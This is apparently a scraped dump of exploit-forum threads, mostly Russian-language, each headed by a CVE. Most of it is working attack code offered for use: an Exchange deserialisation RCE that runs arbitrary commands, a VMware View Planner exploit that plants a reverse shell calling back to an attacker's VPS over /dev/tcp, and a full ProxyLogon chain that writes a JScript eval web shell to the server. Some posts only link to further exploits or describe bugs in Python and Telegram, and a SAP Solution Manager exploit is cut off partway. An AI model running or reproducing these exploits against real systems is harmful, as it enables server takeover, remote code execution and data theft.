                                                                                  xmlns:i="http://www.w3.org/2001/XMLSchema-instance"
                                                                                  xmlns:z="http://schemas.microsoft.com/2003/10/Serialization/"
                                                                                  >
                                <ExpandedElement z:Id="ref1" >
                                  <__identity i:nil="true" xmlns="http://schemas.datacontract.org/2004/07/System"/>
                                </ExpandedElement>
                                <ProjectedProperty0 xmlns:a="http://schemas.datacontract.org/2004/07/System.Windows.Data">
                                  <a:MethodName>Start</a:MethodName>
                                  <a:MethodParameters xmlns:b="http://schemas.microsoft.com/2003/10/Serialization/Arrays">
                                    <b:anyType i:type="c:string">cmd</b:anyType>
                                    <b:anyType i:type="c:string">/c %s</b:anyType>
                                  </a:MethodParameters>
                                  <a:ObjectInstance z:Ref="ref1"/>
                                </ProjectedProperty0>
                              </ExpandedWrapperOfProcessObjectDataProviderpaO_SOqJL>
                          </root>
                        </c:Value>
                    </c:KeyValueOfstringanyType>
                </b:propertyValues>
            </ChangedProperties>
            <OriginalTypeAssembly z:Id="12" i:nil="true"
                xmlns="http://schemas.datacontract.org/2004/07/Microsoft.Exchange.Entities.DataModel">Microsoft.Exchange.Entities.DataModel, Version=15.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35</OriginalTypeAssembly>
            <OriginalTypeName z:Id="14"
                xmlns="http://schemas.datacontract.org/2004/07/Microsoft.Exchange.Entities.DataModel">Microsoft.Exchange.Entities.DataModel.Calendaring.CustomActions.ProposeOptionsMeetingPollParameters</OriginalTypeName>
        </Value>
    </KeyValueOfstringProposeOptionsMeetingPollParametersE_S0982HC>
</ArrayOfKeyValueOfstringProposeOptionsMeetingPollParametersE_S0982HC>""" % escape(
    cmd)
payload2 = escape(payload2)
payload1 = """<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
               xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages"
               xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types"
               xmlns:soap="http://www.w3.org/2003/05/soap-envelope">
  <soap:Header>
    <t:RequestServerVersion Version="Exchange2016" />
    <t:TimeZoneContext>
      <t:TimeZoneDefinition Name="(UTC-08:00) Pacific Time (US &amp;amp; Canada)" Id="Pacific Standard Time">
        <t:Periods>
          <t:Period Bias="P0DT8H0M0.0S" Name="Standard" Id="Std" />
          <t:Period Bias="P0DT7H0M0.0S" Name="Daylight" Id="Dlt/1" />
          <t:Period Bias="P0DT7H0M0.0S" Name="Daylight" Id="Dlt/2007" />
        </t:Periods>
        <t:TransitionsGroups>
          <t:TransitionsGroup Id="0">
            <t:RecurringDayTransition>
              <t:To Kind="Period">Dlt/1</t:To>
              <t:TimeOffset>P0DT2H0M0.0S</t:TimeOffset>
              <t:Month>4</t:Month>
              <t:DayOfWeek>Sunday</t:DayOfWeek>
              <t:Occurrence>1</t:Occurrence>
            </t:RecurringDayTransition>
            <t:RecurringDayTransition>
              <t:To Kind="Period">Std</t:To>
              <t:TimeOffset>P0DT2H0M0.0S</t:TimeOffset>
              <t:Month>10</t:Month>
              <t:DayOfWeek>Sunday</t:DayOfWeek>
              <t:Occurrence>-1</t:Occurrence>
            </t:RecurringDayTransition>
          </t:TransitionsGroup>
          <t:TransitionsGroup Id="1">
            <t:RecurringDayTransition>
              <t:To Kind="Period">Dlt/2007</t:To>
              <t:TimeOffset>P0DT2H0M0.0S</t:TimeOffset>
              <t:Month>3</t:Month>
              <t:DayOfWeek>Sunday</t:DayOfWeek>
              <t:Occurrence>2</t:Occurrence>
            </t:RecurringDayTransition>
            <t:RecurringDayTransition>
              <t:To Kind="Period">Std</t:To>
              <t:TimeOffset>P0DT2H0M0.0S</t:TimeOffset>
              <t:Month>11</t:Month>
              <t:DayOfWeek>Sunday</t:DayOfWeek>
              <t:Occurrence>1</t:Occurrence>
            </t:RecurringDayTransition>
          </t:TransitionsGroup>
        </t:TransitionsGroups>
        <t:Transitions>
          <t:Transition>
            <t:To Kind="Group">0</t:To>
          </t:Transition>
          <t:AbsoluteDateTransition>
            <t:To Kind="Group">1</t:To>
            <t:DateTime>2007-01-01T08:00:00.000Z</t:DateTime>
          </t:AbsoluteDateTransition>
        </t:Transitions>
      </t:TimeZoneDefinition>
    </t:TimeZoneContext>
  </soap:Header>
  <soap:Body>
    <m:CreateItem SendMeetingInvitations="SendToAllAndSaveCopy">
      <m:Items>
        <t:CalendarItem>
          <t:Subject>Weekly Update Meeting</t:Subject>
            <t:ExtendedProperty>
            <t:ExtendedFieldURI PropertySetId="11000e07-b51b-40d6-af21-caa85edab1d0"
                          PropertyName="MeetingPollProposeOptionsRequestsBlob" PropertyType="String" />
                        <t:Value>%s</t:Value>
            </t:ExtendedProperty>
          <t:Body BodyType="HTML">Come hear about how the Organized Observational Paradigm SkyNet project is coming along!</t:Body>
          <t:ReminderMinutesBeforeStart>30</t:ReminderMinutesBeforeStart>
          <t:Start>2021-04-22T06:45:32.868-08:00</t:Start>
          <t:End>2021-04-22T06:55:32.868-08:00</t:End>
          <t:Location>Contoso Main Gallery</t:Location>
          <t:RequiredAttendees>
            <t:Attendee>
              <t:Mailbox>
                <t:EmailAddress>Administrator@evil.corp</t:EmailAddress>
              </t:Mailbox>
            </t:Attendee>
            <t:Attendee>
              <t:Mailbox>
                <t:EmailAddress>john@evil.corp</t:EmailAddress>
              </t:Mailbox>
            </t:Attendee>
            <t:Attendee>
              <t:Mailbox>
                <t:EmailAddress>mart@evil.corp</t:EmailAddress>
              </t:Mailbox>
            </t:Attendee>
          </t:RequiredAttendees>
          <t:Recurrence>
            <t:DailyRecurrence>
              <t:Interval>1</t:Interval>
            </t:DailyRecurrence>
            <t:NumberedRecurrence>
              <t:StartDate>2021-04-22T06:45:32.868-08:00</t:StartDate>
              <t:NumberOfOccurrences>2</t:NumberOfOccurrences>
            </t:NumberedRecurrence>
          </t:Recurrence>
        </t:CalendarItem>
      </m:Items>
    </m:CreateItem>
  </soap:Body>
</soap:Envelope>
""" % payload2

res = requests.post("https://%s/ews/Exchange.asmx" % target,
                    data=payload1,
                    headers={
                        "Content-type": "text/xml; charset=utf-8",
                    },
                    verify=False,
                    auth=HttpNtlmAuth('%s' % (username), pwd))

if res.status_code != 200:
    print("error 1")
    exit()
ct = res.content
item_id = ct.split('<t:ItemId Id="')[1].split('"')[0]
change_key = ct.split('ChangeKey="')[1].split('"')[0]
print "Attacking target %s with user %s" % (target, username)

print "Sending command cmd.exe /c %s" % cmd
session = requests.Session()
header = {"Cookie": "mkt=en-US"}

data = {
    "destination": "https://%s/owa" % target,
    "flags": "",
    "username": username,
    "password": pwd
}

res = session.post("https://%s/owa/auth.owa" % target,
                   headers=header,
                   data=data,
                   verify=False)
# print(res.status_code)
# print(res.headers)
cookie_obj = requests.cookies.create_cookie(domain=target,
                                            name="mkt",
                                            value="en-US")
session.cookies.set_cookie(cookie_obj)
owa_canary = session.cookies.get_dict()['X-OWA-CANARY']

r1 = session.post(
    "https://%s/owa/lang.owa" % target,
    data=
    "destination=%2Fowa%2F%3FbO%3D1&localeName=en-US&tzid=SE+Asia+Standard+Time&saveLanguageAndTimezone=1&X-OWA-CANARY="
    + owa_canary,
    headers={"Content-Type": "application/x-www-form-urlencoded"},
    verify=False,
    allow_redirects=False)

r2 = session.get(
    "https://%s/owa/MeetingPollHandler.ashx?PayloadType=ApproveProposedOptions&ItemId=OID.%s.2021/04/22&RequestId=123123123"
    % (target, quote_plus(item_id)),
    verify=False,
    allow_redirects=False)

print "Attack successful!"

print "Cleaning up ..."

req_del = """<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
               xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages"
               xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types"
               xmlns:soap="http://www.w3.org/2003/05/soap-envelope">
  <soap:Header>
    <t:RequestServerVersion Version="Exchange2016" />
    <t:TimeZoneContext>
      <t:TimeZoneDefinition Id="Pacific Standard Time" />
    </t:TimeZoneContext>
  </soap:Header>
  <soap:Body>
    <m:DeleteItem DeleteType="MoveToDeletedItems" SendMeetingCancellations="SendToAllAndSaveCopy">
      <m:ItemIds>
        <t:ItemId Id="%s" ChangeKey="%s" />
      </m:ItemIds>
    </m:DeleteItem>
  </soap:Body>
</soap:Envelope>""" % (item_id, change_key)

res = requests.post("https://%s/ews/Exchange.asmx" % target,
                    data=req_del,
                    headers={
                        "Content-type": "text/xml; charset=utf-8",
                    },
                    verify=False,
                    auth=HttpNtlmAuth('%s' % (username), pwd))
RCE, VMware View Planner, CVE-2021-21978
ID: 67686ba3b4103b69df379c9b
Thread ID: 50073
Created: 2021-03-31T09:54:22+0000
Last Post: 2021-03-31T09:54:22+0000
Author: DarckSol
Prefix: Remote
Replies: 0 Views: 1K

Code:Copy to clipboard

import requests
import argparse

def rce(url,vps,port):
    url = "https://{0}/logupload?logMetaData={{\"itrLogPath\":\"../../../../../../etc/httpd/html/wsgi_log_upload\",\"logFileType\":\"log_upload_wsgi.py\",\"workloadID\":\"2\"}}".format(url)
    print(url)
    ua = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36"
    header = {
        "User-Agent":ua
    }
    payload='''
#! /usr/bin/env python3
import cgi
import os,sys
import logging
import json

os.system('bash -i >& /dev/tcp/{0}/{1} 0>&1')

WORKLOAD_LOG_ZIP_ARCHIVE_FILE_NAME = "workload_log_{{}}.zip"

class LogFileJson:
    """ Defines format to upload log file in harness

    Arguments:
    itrLogPath : log path provided by harness to store log data
    logFileType : Type of log file defined in api.agentlogFileType
    workloadID [OPTIONAL] : workload id, if log file is workload specific

    """
    def __init__(self, itrLogPath, logFileType, workloadID = None):
        self.itrLogPath = itrLogPath
        self.logFileType = logFileType
        self.workloadID = workloadID

    def to_json(self):
        return json.dumps(self.__dict__)

    @classmethod
    def from_json(cls, json_str):
        json_dict = json.loads(json_str)
        return cls(**json_dict)

class agentlogFileType():
    """ Defines various log file types to be uploaded by agent

    """
    WORKLOAD_ZIP_LOG = "workloadLogsZipFile"

try:
    # TO DO: Puth path in some config
    logging.basicConfig(filename="/etc/httpd/html/logs/uploader.log",filemode='a', level=logging.ERROR)
except:
    # In case write permission is not available in log folder.
    pass

logger = logging.getLogger('log_upload_wsgi.py')

def application(environ, start_response):
    logger.debug("application called")

    if environ['REQUEST_METHOD'] == 'POST':
        post = cgi.FieldStorage(
            fp=environ['wsgi.input'],
            environ=environ,
            keep_blank_values=True
        )
        # TO DO: Puth path in some config or read from config is already available
        resultBasePath = "/etc/httpd/html/vpresults"
        try:
            filedata = post["logfile"]
            metaData = post["logMetaData"]

            if metaData.value:
                logFileJson = LogFileJson.from_json(metaData.value)

            if not os.path.exists(os.path.join(resultBasePath, logFileJson.itrLogPath)):
                os.makedirs(os.path.join(resultBasePath, logFileJson.itrLogPath))

            if filedata.file:
                if (logFileJson.logFileType == agentlogFileType.WORKLOAD_ZIP_LOG):
                    filePath = os.path.join(resultBasePath, logFileJson.itrLogPath, WORKLOAD_LOG_ZIP_ARCHIVE_FILE_NAME.format(str(logFileJson.workloadID)))
                else:
                    filePath = os.path.join(resultBasePath, logFileJson.itrLogPath, logFileJson.logFileType)
                with open(filePath, 'wb') as output_file:
                    while True:
                        data = filedata.file.read(1024)
                        # End of file
                        if not data:
                            break
                        output_file.write(data)

                body = u" File uploaded successfully."
                start_response(
                    '200 OK',
                    [
                        ('Content-type', 'text/html; charset=utf8'),
                        ('Content-Length', str(len(body))),
                    ]
                )
                return [body.encode('utf8')]

        except Exception as e:
            logger.error("Exception {{}}".format(str(e)))
            body = u"Exception {{}}".format(str(e))
    else:
        logger.error("Invalid request")
        body = u"Invalid request"

    start_response(
        '400 fail',
        [
            ('Content-type', 'text/html; charset=utf8'),
            ('Content-Length', str(len(body))),
        ]
    )
    return [body.encode('utf8')]
    '''.format(vps,port)
    files = {'logfile': ("",payload,"text/plain")}
    requests.packages.urllib3.disable_warnings()
    # proxies={'https':'127.0.0.1:8080'} #proxies=proxies
    res = requests.post(url=url,headers=header,verify=False,files=files)
    requests.get(url="https://192.168.15.84/logupload?logMetaData",verify=False)
    print(res.text)

if __name__ == '__main__':
    parser = argparse.ArgumentParser(description='VMware View Planner CVE-2021-21978',
                                     usage='use "python %(prog)s --help" for more information',
                                     formatter_class=argparse.RawTextHelpFormatter)
    parser.add_argument("-u", "--url",
                        dest="url",
                        help="TARGET URL (127.0.0.1:443)"
                        )
    parser.add_argument("-v", "--vps",
                        dest="vps",
                        help="VPS IP"
                        )
    parser.add_argument("-p", "--port",
                        dest="port",
                        help="VPS LISTENING PORT"
                        )
    args = parser.parse_args()
    if not args.url or not args.vps or not args.port:
        sys.exit('[*] Please assign url and cmd! \n[*] Examples python CVE-2021-21978.py -u 127.0.0.1:443 -v vpsip -p port')
    rce(args.url, args.vps, args.port)

(c)

github.com

[ GitHub - me1ons/CVE-2021-21978: CVE-2021-21978 EXP

](https://github.com/me1ons/CVE-2021-21978)

CVE-2021-21978 EXP. Contribute to me1ons/CVE-2021-21978 development by creating an account on GitHub.

github.com github.com

RCE, Microsoft Exchange Server, CVE-2021–26855\27065, ProxyLogon
ID: 67686ba3b4103b69df379c9e
Thread ID: 49241
Created: 2021-03-12T14:12:50+0000
Last Post: 2021-03-16T01:55:39+0000
Author: weaver
Prefix: Web
Replies: 1 Views: 1K

Инфа

testbnull.medium.com

[ Phân tÃch lá» há»ng ProxyLogonâââMail Exchange RCE (Sá»± kết hợp

hoà n hảo CVE-2021â26855 +⦠](https://testbnull.medium.com/ph%C3%A2n-t%C3%ADch-l%E1%BB%97-h%E1%BB%95ng- proxylogon-mail-exchange- rce-s%E1%BB%B1-k%E1%BA%BFt-h%E1%BB%A3p-ho%C3%A0n-h%E1%BA%A3o-cve-2021-26855-37f4b6e06265)

Tuần đầu tháng 3 vừa rồi có khá nhiều biến động trong giới bảo mật, 4 lỗ hổng 0day của Mail Exchange bị sử dụng trong thực tế để chiếm…

![testbnull.medium.com](/proxy.php?image=https%3A%2F%2Fmiro.medium.com%2Fv2%2F1%2Am- R_BkNf1Qjr1YbyOIJY2w.png&hash=fcf6cbc7a11ecd9e7b49ae64b7b9adbc&return_error=1) testbnull.medium.com

PoC

Python:Copy to clipboard

import requests
from urllib3.exceptions import InsecureRequestWarning
import random
import string
import sys


def id_generator(size=6, chars=string.ascii_lowercase + string.digits):
    return ''.join(random.choice(chars) for _ in range(size))

if len(sys.argv) < 2:
    print("Usage: python PoC.py <target> <email>")
    print("Example: python PoC.py mail.evil.corp haxor@evil.corp")
    exit()
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)
target = sys.argv[1]
email = sys.argv[2]
random_name = id_generator(3) + ".js"
user_agent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36"

shell_path = "Program Files\\Microsoft\\Exchange Server\\V15\\FrontEnd\\HttpProxy\\owa\\auth\\ahihi.aspx"
shell_absolute_path = "\\\\127.0.0.1\\c$\\%s" % shell_path

shell_content = '<script language="JScript" runat="server"> function Page_Load(){/**/eval(Request["exec_code"],"unsafe");}</script>'
legacyDnPatchByte = "68747470733a2f2f696d6775722e636f6d2f612f7a54646e5378670a0a0a0a0a0a0a0a"
autoDiscoverBody = """<Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/requestschema/2006">
    <Request>
      <EMailAddress>%s</EMailAddress> <AcceptableResponseSchema>http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a</AcceptableResponseSchema>
    </Request>
</Autodiscover>
""" % email

print("Attacking target " + target)
print("=============================")
print(legacyDnPatchByte.decode('hex'))
FQDN = "EXCHANGE"
ct = requests.get("https://%s/ecp/%s" % (target, random_name), headers={"Cookie": "X-BEResource=localhost~1942062522",
                                                                        "User-Agent": user_agent},
                  verify=False)
if "X-CalculatedBETarget" in ct.headers and "X-FEServer" in ct.headers:
    FQDN = ct.headers["X-FEServer"]

ct = requests.post("https://%s/ecp/%s" % (target, random_name), headers={
    "Cookie": "X-BEResource=%s/autodiscover/autodiscover.xml?a=~1942062522;" % FQDN,
    "Content-Type": "text/xml",
    "User-Agent": user_agent},
                   data=autoDiscoverBody,
                   verify=False
                   )
if ct.status_code != 200:
    print("Autodiscover Error!")
    exit()
if "<LegacyDN>" not in ct.content:
    print("Can not get LegacyDN!")
    exit()

legacyDn = ct.content.split("<LegacyDN>")[1].split("</LegacyDN>")[0]
print("Got DN: " + legacyDn)

mapi_body = legacyDn + "\x00\x00\x00\x00\x00\xe4\x04\x00\x00\x09\x04\x00\x00\x09\x04\x00\x00\x00\x00\x00\x00"

ct = requests.post("https://%s/ecp/%s" % (target, random_name), headers={
    "Cookie": "X-BEResource=Admin@%s:444/mapi/emsmdb?MailboxId=f26bc937-b7b3-4402-b890-96c46713e5d5@exchange.lab&a=~1942062522;" % FQDN,
    "Content-Type": "application/mapi-http",
    "User-Agent": user_agent
},
                   data=mapi_body,
                   verify=False
                   )
if ct.status_code != 200 or "act as owner of a UserMailbox" not in ct.content:
    print("Mapi Error!")
    exit()

sid = ct.content.split("with SID ")[1].split(" and MasterAccountSid")[0]

print("Got SID: " + sid)

proxyLogon_request = """<r at="Negotiate" ln="john"><s>%s</s><s a="7" t="1">S-1-1-0</s><s a="7" t="1">S-1-5-2</s><s a="7" t="1">S-1-5-11</s><s a="7" t="1">S-1-5-15</s><s a="3221225479" t="1">S-1-5-5-0-6948923</s></r>
""" % sid

ct = requests.post("https://%s/ecp/%s" % (target, random_name), headers={
    "Cookie": "X-BEResource=Admin@%s:444/ecp/proxyLogon.ecp?a=~1942062522;" % FQDN,
    "Content-Type": "text/xml",
    "User-Agent": user_agent
},
                   data=proxyLogon_request,
                   verify=False
                   )
if ct.status_code != 241 or not "set-cookie" in ct.headers:
    print("Proxylogon Error!")
    exit()

sess_id = ct.headers['set-cookie'].split("ASP.NET_SessionId=")[1].split(";")[0]

msExchEcpCanary = ct.headers['set-cookie'].split("msExchEcpCanary=")[1].split(";")[0]
print("Got session id: " + sess_id)
print("Got canary: " + msExchEcpCanary)

ct = requests.get("https://%s/ecp/%s" % (target, random_name), headers={
    "Cookie": "X-BEResource=Admin@%s:444/ecp/about.aspx?a=~1942062522; ASP.NET_SessionId=%s; msExchEcpCanary=%s" % (
        FQDN, sess_id, msExchEcpCanary),
    "User-Agent": user_agent
},
                  verify=False
                  )
if ct.status_code != 200:
    print("Wrong canary!")
    print("Sometime we can skip this ...")
rbacRole = ct.content.split("RBAC roles:</span> <span class='diagTxt'>")[1].split("</span>")[0]
# print "Got rbacRole: "+ rbacRole

print("=========== It means good to go!!!====")

ct = requests.post("https://%s/ecp/%s" % (target, random_name), headers={
    "Cookie": "X-BEResource=Admin@%s:444/ecp/DDI/DDIService.svc/GetObject?schema=OABVirtualDirectory&msExchEcpCanary=%s&a=~1942062522; ASP.NET_SessionId=%s; msExchEcpCanary=%s" % (
        FQDN, msExchEcpCanary, sess_id, msExchEcpCanary),
    "Content-Type": "application/json; charset=utf-8",
    "User-Agent": user_agent

},
                   json={"filter": {
                       "Parameters": {"__type": "JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel",
                                      "SelectedView": "", "SelectedVDirType": "All"}}, "sort": {}},
                   verify=False
                   )
if ct.status_code != 200:
    print("GetOAB Error!")
    exit()
oabId = ct.content.split('"RawIdentity":"')[1].split('"')[0]
print("Got OAB id: " + oabId)

oab_json = {"identity": {"__type": "Identity:ECP", "DisplayName": "OAB (Default Web Site)", "RawIdentity": oabId},
            "properties": {
                "Parameters": {"__type": "JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel",
                               "ExternalUrl": "http://ffff/#%s" % shell_content}}}

ct = requests.post("https://%s/ecp/%s" % (target, random_name), headers={
    "Cookie": "X-BEResource=Admin@%s:444/ecp/DDI/DDIService.svc/SetObject?schema=OABVirtualDirectory&msExchEcpCanary=%s&a=~1942062522; ASP.NET_SessionId=%s; msExchEcpCanary=%s" % (
        FQDN, msExchEcpCanary, sess_id, msExchEcpCanary),
    "Content-Type": "application/json; charset=utf-8",
    "User-Agent": user_agent
},
                   json=oab_json,
                   verify=False
                   )
if ct.status_code != 200:
    print("Set external url Error!")
    exit()

reset_oab_body = {"identity": {"__type": "Identity:ECP", "DisplayName": "OAB (Default Web Site)", "RawIdentity": oabId},
                  "properties": {
                      "Parameters": {"__type": "JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel",
                                     "FilePathName": shell_absolute_path}}}

ct = requests.post("https://%s/ecp/%s" % (target, random_name), headers={
    "Cookie": "X-BEResource=Admin@%s:444/ecp/DDI/DDIService.svc/SetObject?schema=ResetOABVirtualDirectory&msExchEcpCanary=%s&a=~1942062522; ASP.NET_SessionId=%s; msExchEcpCanary=%s" % (
        FQDN, msExchEcpCanary, sess_id, msExchEcpCanary),
    "Content-Type": "application/json; charset=utf-8",
    "User-Agent": user_agent
},
                   json=reset_oab_body,
                   verify=False
                   )

if ct.status_code != 200:
    print("Write Shell Error!")
    exit()

print("Successful!")
RCE, Joomla core <=3.9.24, CVE-2021-23132
ID: 67686ba3b4103b69df379c9f
Thread ID: 48928
Created: 2021-03-04T18:07:57+0000
Last Post: 2021-03-04T18:07:57+0000
Author: shrinbaba
Prefix: Web
Replies: 0 Views: 1K

github.com

[ GitHub - HoangKien1020/CVE-2021-23132: com_media allowed paths that are

not intended for image uploads to RCE ](https://github.com/HoangKien1020/CVE-2021-23132)

com_media allowed paths that are not intended for image uploads to RCE - HoangKien1020/CVE-2021-23132

github.com github.com

RCE, Python 3.x <= 3.9.1, CVE-2021-3177
ID: 67686ba3b4103b69df379ca0
Thread ID: 48596
Created: 2021-02-24T21:30:54+0000
Last Post: 2021-02-25T19:34:47+0000
Author: tabac
Prefix: DoS
Replies: 2 Views: 1K

[Доступны](https://pythoninsider.blogspot.com/2021/02/python-3710-and-3613-security- updates.html) корректирующие выпуски языка программирования Python 3.7.10 и 3.6.13, в которых устранена [уязвимость](https://python- security.readthedocs.io/vuln/ctypes-buffer-overflow-pycarg_repr.html) (CVE-2021-3177), способная привести к исполнению кода при обработке непроверенных чисел с плавающей запятой в обработчиках, вызывающих функции на языке Си при помощи механизма ctypes. Проблема также затрагивает ветки Python 3.8 и 3.9, но обновления для них пока находятся в [состоянии](https://pythoninsider.blogspot.com/2021/02/python-392rc1-and-388rc1-are- now.html) кандидата в релизы (релиз запланирован на 1 марта).

Проблема вызвана переполнением буфера в ctypes-функции PyCArg_repr(), возникающем из-за небезопасного использования sprintf. В частности, на обработку результата выполнения преобразования 'sprintf(buffer, "<cparam '%c' (%f)>", self->tag, self->value.d)' выделялся статический буфер размером 256 байт ("char buffer[256]"), в то время как результат мог превышать данное значение. Для проверки подверженности приложений уязвимости можно попробовать передать значение "1e300", которое при обработке методом c_double.from_param приведёт к краху, так как результирующие число содержит 308 знаков и не умещается в 256-байтный буфер. Пример проблемного кода:

Python:Copy to clipboard

import ctypes
   x = ctypes.c_double.from_param(1e300)
   repr(x)

Релизы Python 3.9.2 и 3.8.8 с устранением уязвимости [опубликованы](https://www.mail-archive.com/python-announce- list@python.org/msg09173.html) раньше изначально намеченного срока.

RCE, VMware vCenter, CVE-2021-21972
ID: 67686ba3b4103b69df379ca1
Thread ID: 48574
Created: 2021-02-24T17:27:43+0000
Last Post: 2021-02-24T17:27:43+0000
Author: shrinbaba
Prefix: Remote
Replies: 0 Views: 1K

VMware vCenter RCE CVE-2021-21972
PoC:
/ui/vropspluginui/rest/services/uploadova

https://github.com/QmF0c3UK/CVE-2021-21972-vCenter-6.5-7.0-RCE-POC

Telegram | CVE-2021-27204 | CVE-2021-27205
ID: 67686ba3b4103b69df379ca2
Thread ID: 48143
Created: 2021-02-15T17:38:19+0000
Last Post: 2021-02-15T17:38:19+0000
Author: tabac
Prefix: Local
Replies: 0 Views: 1K

Разбираясь в реализации различных мер безопасности и конфиденциальности в Telegram, я обнаружил, что Telegram снова не справляется с обработкой данных пользователей. Мое исследование изначально началось с того, что я разобрался, как работают самоуничтожающиеся сообщения в опции секретных чатов в Telegram.

Оказалось, что в Telegram присутствует логическая ошибка, существующая в версиях Telegram для macOS (7.3 (211334) Stable). Суть в том, что телега хранит локальную копию полученного сообщения (аудио/видео) по настраиваемому пути даже после того, как эти сообщения удалены/исчезли из секретного чата.

Технический анализ: Откройте Telegram для macOS, отправьте записанное аудио / видео сообщение в обычном чате, приложение раскрывает путь к sandbox, а там, в освою очередь, хранится наше записанное сообщение в файле ".mp4".

![](/proxy.php?image=https%3A%2F%2F1.bp.blogspot.com%2F-OWIztNLn6eA%2FX- mWOOVyHSI%2FAAAAAAAAD2c%2FsYkz0hSjzX41bCvNuS9fTy6QW14G6v6TgCPcBGAYYCw%2Fs16000%2FTelegram_Info_Leak.gif&hash=e4c4096e72927130c2bfad473b036b20)

В моем случае путь был ( /var/folders/x7/khjtxvbn0lzgjyy9xzc18z100000gn/T/ ). При выполнении той же задачи с опцией секретного чата URI MediaResourceData (path: //) не раскрывается, но записанное аудио/видео сообщение по-прежнему сохраняется по указанному выше пути.

Вывод - секретные чаты в Telegram никогда не уничтожаются и сохраняются навсегда.

В видео пользователь получает самоуничтожающееся сообщение с опцией секретного чата, которое сохраняется даже после самоуничтожения сообщения.

Бонус: вышеупомянутая версия Telegram для macOS хранит локальный код доступа в виде обычного текста, ниже - видео proof-of-concept.

Обе уязвимости были исправлены в версии 7.4 (212543) Stable. Раньше я тоже обнаруживал уязвимости в Telegram, вы можете найти их здесь.

Багу, описанному в данном посте, были назначены идентификаторы CVE-2021-27204 и CVE-2021-27205.

Administrator bypassing UAC
ID: 67686ba3b4103b69df379ca4
Thread ID: 47790
Created: 2021-02-08T13:49:56+0000
Last Post: 2021-02-08T15:41:29+0000
Author: corpserves
Prefix: Local
Replies: 5 Views: 1K

github.com

[ GitHub - 0xyg3n/UAC_Exploit: Escalate as Administrator bypassing the

UAC affecting administrator accounts only. ](https://github.com/0xyg3n/UAC_Exploit)

Escalate as Administrator bypassing the UAC affecting administrator accounts only. - 0xyg3n/UAC_Exploit

github.com github.com

Cache Poisoning\RCE, dnsmasq, CVE-2020-25686\85\84, DNSpooq
ID: 67686ba3b4103b69df379ca5
Thread ID: 47277
Created: 2021-01-27T07:04:18+0000
Last Post: 2021-01-27T07:04:18+0000
Author: weaver
Prefix: Remote
Replies: 0 Views: 1K

github.com

[ GitHub - knqyf263/dnspooq: DNSpooq - dnsmasq cache poisoning

(CVE-2020-25686, CVE-2020-25684, CVE-2020-25685) ](https://github.com/knqyf263/dnspooq)

DNSpooq - dnsmasq cache poisoning (CVE-2020-25686, CVE-2020-25684, CVE-2020-25685) - knqyf263/dnspooq

github.com github.com

[ https://www.jsof-tech.com/wp-content/uploads/2021/01/DNSpooq-Technical- WP.pdf ](https://www.jsof-tech.com/wp-content/uploads/2021/01/DNSpooq- Technical-WP.pdf)

Missing Authentication Check, SAP Solution Manager, CVE-2020-6207
ID: 67686ba3b4103b69df379ca6
Thread ID: 47095
Created: 2021-01-22T10:11:48+0000
Last Post: 2021-01-22T10:11:48+0000
Author: weaver
Prefix: Web
Replies: 0 Views: 1K

Python:Copy to clipboard

#!/usr/bin/env python3

__author__ = 'chipik'

import random
import base64
import requests
import argparse
import xml.etree.ElementTree as ET
from prettytable import PrettyTable


help_desc = '''
PoC for CVE-2020-6207, (Missing Authentication Check in SAP Solution Manager)
This script allows to check and exploit missing authentication checks in SAP EEM servlet (tc~smd~agent~application~eem) that lead to RCE on SAP SMDAgents connected to SAP Solution Manager
Original finding:
- Pablo Artuso. https://twitter.com/lmkalg
- Yvan 'iggy' G https://twitter.com/_1ggy

Paper: https://i.blackhat.com/USA-20/Wednesday/us-20-Artuso-An-Unauthenticated-Journey-To-Root-Pwning-Your-Companys-Enterprise-Software-Servers-wp.pdf
Solution: https://launchpad.support.sap.com/#/notes/2890213

twitter: https://twitter.com/_chipik
'''

eemURL = "/EemAdminService/EemAdmin"

wsdlMethods = {
'getAgentInfo' : '''<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:adm="http://sap.com/smd/eem/admin/">
   <soapenv:Header/>
   <soapenv:Body>
      <adm:getAgentInfo>
         <agents></agents>
      </adm:getAgentInfo>
   </soapenv:Body>
</soapenv:Envelope>''',

'getAllAgentInfo':'''<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:adm="http://sap.com/smd/eem/admin/">
   <soapenv:Header/>
   <soapenv:Body>
      <adm:getAllAgentInfo/>
   </soapenv:Body>
</soapenv:Envelope>''',

'setAgeletProperties' : '''<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:adm="http://sap.com/smd/eem/admin/">
   <soapenv:Header/>
   <soapenv:Body>
      <adm:setAgeletProperties>
         <agentName></agentName>
         <propertyInfos>
            <flags>3</flags>
            <key></key>
            <value></value>
         </propertyInfos>
      </adm:setAgeletProperties>
   </soapenv:Body>
</soapenv:Envelope>''',

'uploadResource':'''
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:adm="http://sap.com/smd/eem/admin/">
   <soapenv:Header/>
   <soapenv:Body>
      <adm:uploadResource>
         <agentName></agentName>
         <fileInfos>
            <content></content>
            <fileName></fileName>
            <scenarioName></scenarioName>
            <scope></scope>
            <scriptName></scriptName>
         </fileInfos>
      </adm:uploadResource>
   </soapenv:Body>
</soapenv:Envelope>
''',

